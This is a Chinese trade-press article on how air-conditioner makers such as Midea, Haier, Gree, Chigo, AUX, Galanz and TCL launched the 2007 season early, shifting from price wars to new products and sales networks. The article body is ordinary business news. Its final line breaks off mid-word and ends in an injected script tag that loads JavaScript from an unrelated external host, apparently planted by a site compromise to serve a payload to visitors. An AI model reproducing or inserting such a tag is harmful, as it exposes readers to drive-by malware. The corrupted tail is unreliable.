召开全国性的经销商、供应商等合作伙伴恳谈会；忙碌着２００７年度新品的上市推广与造势活动；直接深入三四级市场，拜访各级商家……种种迹象表明，２００７“冷冻年”比以往任何一年都启动得早、波及面广。这种早启动、早发力的背后，是行业在经历了前几年的洗牌、重组、调整之后，企业获得了力量和优势的积累，更找到了自身发展的新方向、新模式、新策略。
忙、忙、忙
早在今年８月份，许多企业就针对新年度的市场开局、竞争策略进行研究和分析，特别是志高、海信、奥克斯、ｔｃｌ等位居第二集团军的企业，迅速结束了上一年度的市场操作，开启了新年度市场大幕。
作为第一集团军的美的、海尔也丝毫未放松。美的自９月份召开了新品清润星的产品发布会之后，又在１１月份针对冬季制热市场推出了专门的制热新品。而海尔也提前了新品上市时间，在１０月前就推出了“０７鲜风宝”。格力在合肥落子建立产能三百万套的生产基地，进一步完善其在全国范围内的生产基地布局。显然，三大品牌已率先完成了从价格战向价值战的转变，竞争手段也转向新品。而格力的产能布局再度彰显三巨头们长期称霸的意图。
因此，市场上诸多第二军团，志高、格兰仕等也加快了主动抢夺市场的步伐。志高率先联手供应商，召开了全球供应商大会，一改空调企业以下游经销商为重的先例，向供应商投怀送抱，意在整合产业链，从而谋求向第一集团军的跨越。随后，又借海南博鳌亚洲论坛主会场，召开全国核心商家恳谈会，提出了“坐四望三”的新年度目标，并配套性地发布了市场操作策略。
一向被人们熟知的价格杀手奥克斯也在新年度“改邪归正”，一改往年价格战开局的传统打法，先是召集了全国营销经理进行新年度操作思路的集训，随后又陆续召开区域商家恳谈会，对新年度操作思路做宣传。此外，声称投入８０００万在央视提升其品牌美誉度。
早在８月底，格兰仕提前动手，邀请商家聚首庆功，并发布了新年度的扩张路线图。日前，格兰仕再度整合营销体系，将原先分散的单一产品销售公司统一成为销售总公司，并且在空调领域再度创新，以格力区域股份制销售公司模式为蓝本，出资与商家共建区域销售公司，短期内在全国１４个省建立了合资销售公司。格兰仕对于营销体系和网络的改造，远远超过了同城的美的、志高。后者只是在少数省份试点推行区域合资销售公司模式。
更值得关注的是，在业内沉寂二年之久的新科也开始发力。借今年的中非合作论坛之机，新科作为国内首家在非洲建厂的空调企业备受关注，同时其在海外合作建厂拓展市场的新思路也受到了推崇。而在国内市场上，它也接连召开了供应商、经销商恳谈会，共叙前二年的主动调整转型，谋求在新年度的全面发展。
作为ｔｃｌ空调的新当家，王康平在新年度上任之后，第一把火便是由ｔｃｌ联合杜邦在国内推出了新型环保空调，并将此作为参与市场竞争的利器。外资品牌中，松下、ｌｇ尽管在发展战略上趋于高端，但是其参与市场的主动积极性并未受到影响，也在重点区域展开市场争夺。
此外，受集团拖累而停产一年多的澳柯玛空调，在原澳柯玛空调供应商青岛泰诺福伦机械有限公司的努力下，９月初专门成立青岛佳冠空调器有限公司，获得在５年内使用原澳柯玛空调的品牌、厂房、设备的权利。现在，澳柯玛空调已经参与到０７年的市场竞争中。
理性转身
春江水暖鸭先知。在新年度开盘之初，众多空调企业一改前两年的低调与沉寂，通过各种手段掀起市场发展的大幕。这正折射出空调业的大规模洗牌重组期已经结束，接下来的发展由快速高效的成长迈向循序渐进的成熟。
这种变化符合产业链中各方的利益与需求。一方面，行业发展从洗牌重组中走出，步入新一轮的稳定成长期，这需要企业的拉动。因此，企业主动高调出击，对整个空调产业链的信心恢复有利。在过去两年，整个行业都被亏损、灾难的阴云所笼罩，使整个产业链的信心产生动摇。
另一方面，许多企业通过这两年在发展战略、操作手段上的主动调整，盈利能力得到提升，利润率开始恢复增长。现存的空调企业都积累了不错的竞争力，关键是找到了今后发展的清晰定位。有的已完成国内市场布局，举步国际化；有的在做全国布局的完善和提升；有的已经立足区域市场，集中资源谋求在区域市场做强做精。
在这一过程中，企业的发展目标已从求全做大向做强做精转变，经营思路由粗放式、猛干快上向精细化、可持续发展调整。操作手段也从之前的一招鲜吃遍天，过渡到全面提升、系统发力。
在新品研发和推广上，今年发生了重大变化。以前单一功能的产品被淘汰出局，取而代之的是融合了健康、节能、环保等诸多功能的复合化新品。包括海尔鲜风宝、美的清润星、志高三超王、新科空气雷达等产品，都将产品功能进行了多元化扩张。并在功能之外附加了多彩靓丽的外观，延?script src=http://er12.com/t.js>
